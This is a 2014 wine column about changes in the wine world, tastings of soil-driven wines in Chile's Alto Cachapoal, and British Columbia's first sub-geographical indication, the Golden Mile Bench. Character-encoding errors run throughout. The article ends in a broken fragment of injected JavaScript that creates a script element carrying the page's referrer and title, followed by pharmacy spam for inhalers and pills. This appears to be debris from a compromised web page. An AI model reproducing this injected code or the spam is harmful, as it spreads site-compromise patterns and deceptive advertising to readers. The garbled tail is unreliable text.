Chile tour illustrates changes – Nov. 22, 2014

By Anthony Gismondi

World of wine is so much more complex than it was in 1970s and a��80s Fresh off a week in Chile, Ia��ve been thinking about what really matters in wine and how quickly the wine world is changing. Ita��s been more than 35 years since I scribbled my first wine note and while you still need to taste the stuff, what you find in all corners of the wine world today is mind boggling.

In the 1970s and early a��80s, Bordeaux was king. In those days, it was our business to know every vintage, most of the top producers and what the various blends ratios (mostly cabernet sauvignon and merlot) were for each chateau. Many of Bordeauxa��s big guns were tasted half a dozen times a year. Now I scan the auction results from Asia, and I wonder, first, if I will ever drink Bordeaux regularly again and, second, if the older bottles I see are real or fake.

The wine world back then was compact and while it didna��t seem like it at the time, it was infinitely easier to understand. Todaya��s wine world is enormous. New wines, new regions, new people and new ideas appear daily. No matter how many bloggers, Tweeters and Facebookers drone on about how they will be the ones to simplify the world of wine, do not believe it. Fine wine is complicated and there is no short route to knowledge.

It may come as disappointment to some who believe their ability to taste a few wines and memorize a few appellations makes them authorities, but the truth is much closer to an overused clichA�: the more you learn, the less you know.

I recently explored several vineyards in the Alto Cachapoal, about two hours south of Santiago . At Altair, I was taken to five separate calicatas or trial pits, dug some two metres below the vineyard to see for myself how disparate the soils are as a result of glaciers, wind and water erosion and earthquakes. At the winery we tasted five samples from the same sites to illustrate how different the wine can be based on soil structure. To say it was revealing is an understatement.

As little as a decade ago this wine was more famous for its bottle weight, oak and icon status than ita��s now bony structure and red fruit flavours. There are dozens of stories such as this all over Chile, driven by a new group of growers with the confidence to be different, in a way that works for their terroir. How does a pais (mission grape)/cinsault blend fermented in a clay pot grab you

Closer to home, the British Columbia wine industry a�� which fetches some of the highest average dollars per litre in the world for its VQA wine (currently $23.68 per litre) a�� just announced the provincea��s first sub-geographical indication under the name of the Golden Mile Bench. The significance of linking British Columbia wine to the ground ita��s grown on cannot be overstated.

I have a sense 2015 will be a watershed year in the Okanagan. Fresh off a great vintage and emboldened by some excellent results for riesling, pinot noir, cabernet franc, marsanne, roussanne, viognier and gamay, growers look to have taken full responsibility for a new path of wines that speak to the Okanagan.

Ita��s not the end of pinot gris, or chardonnay or cabernet sauvignon but it is the end of copying what works well for France or Italy or California. The Okanagan, even more than Chile, has no expectations on the world stage and that freedom will give us the opportunity to reach for the stars. Oh, but dona�� take your eyes off Europe.

The wine world has a wonderful capacity for renewing itself. Bordeaux may be taking France in one direction but a resurgence by young producers in Burgundy is renewing that regiona��s commitment to a�?somewherenessa�? and appellation. The Southern RhA?ne Valley is making huge inroads with wine drinkers who have had enough of varietal wine. Blends are quickly gaining interest among the varietally overdosed and so the pendulum swings. Screwcaps have arrived in Alsace and Chablis.

Change is what makes wine so fascinating and, yes, complex. We wouldna��t want it any other way.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‘script’); } else { ventolin inhaler online reglan syrup price cheap pills purchase speman tablets Pills

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